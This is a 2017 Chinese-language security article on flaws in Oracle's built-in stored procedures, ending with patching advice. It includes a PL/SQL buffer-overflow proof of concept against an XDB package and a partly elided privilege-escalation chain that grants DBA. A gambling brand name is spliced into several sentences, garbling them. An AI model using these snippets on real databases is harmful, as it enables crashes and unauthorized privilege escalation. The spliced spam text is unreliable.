数据库自身安全漏洞分析之内建存储对象的安全问题-k8凯发游戏

数据库自身安全漏洞分析之内建存储对象的安全问题
作者:安华金和 发布时间:2017-01-13

许多数据库系统都提供大量内建的存储过程和软件包。这些存储过程对象为数据库提供了额外的帮助,同时帮助管理员和开发者管理数据库系统。

例如目前用户量最广的oracle数据库,默认情况下在安装时便拥有多达30000个可以公开访问的对象,这些对象为许多任务(包括访问os文件、发送http请求、管理xml对象、java服务以及支持复制)提供相应的功能。这些功能都会在网络上开启对应端口,而每多开一个网络端口就为k8凯发游戏造成多一份入侵威胁。

这些内建对象包含的漏洞覆盖了:sql注入、缓冲区溢出和应用程序逻辑漏洞等。oracle的内建包中含有大量这种漏洞,我们下面就拿一个xdb上缓冲区溢出的漏洞举例。

declare

buff varchar2(32767);

begin

buff :=’12345678901234567890123456789’;

buff :=buff||buff;

buff :=buff||buff;

buff :=buff||buff;

buff :=buff||buff;

buff :=buff||buff;

buff :=’12345678901234567890123456789’;

xdb.xdb_pitrig_pkg.pitrig_truncate(buff,buff);

end;

同样java也存在大量此种漏洞,并且危害比上面的xdb还严重

…..dbms_java.set_output_to_java(‘id’,’oracle/aurora/rdbms/dbmsjava’,’sys’,’writeoutputtofile’,’text’,null,null,null,null 0,1,1,1,1,0,’ declare prag…….

exec dbms_cdc_isubscribe……

上面这个漏洞是针对oracle 11.1系列 的java漏洞。利用dbms_cdc_isubscribe 包可被 任意帐号执行,但这个包的创建者是sys。如果执行dbms_cdc_isubscribe 的回话是sys,就可以执行sys权限(提权到dba)dbms_java.set_output_to_java  函数可以把system.err的java重定向到一个新的会话中。于是我们故意输入错误参数导致dbms_cdc_isubscribe.int_purge_window 产生错误,并把错误写入到system.err中。同时创建一个新sys权限会话 。真正被执行的语句是 execute immediate "grant dba to user()"

我们从上面的例子中不难看出这种漏洞对于数据库安全的危害很大。建议数据库的使用者及时更新数据库厂商发布的官方补丁,同时关闭不必要的对象以及对应端口。如果由于某种原因无法对数据库进行补丁升级,建议使用带vpatch功能的数据库防火墙保护k8凯发游戏


网站地图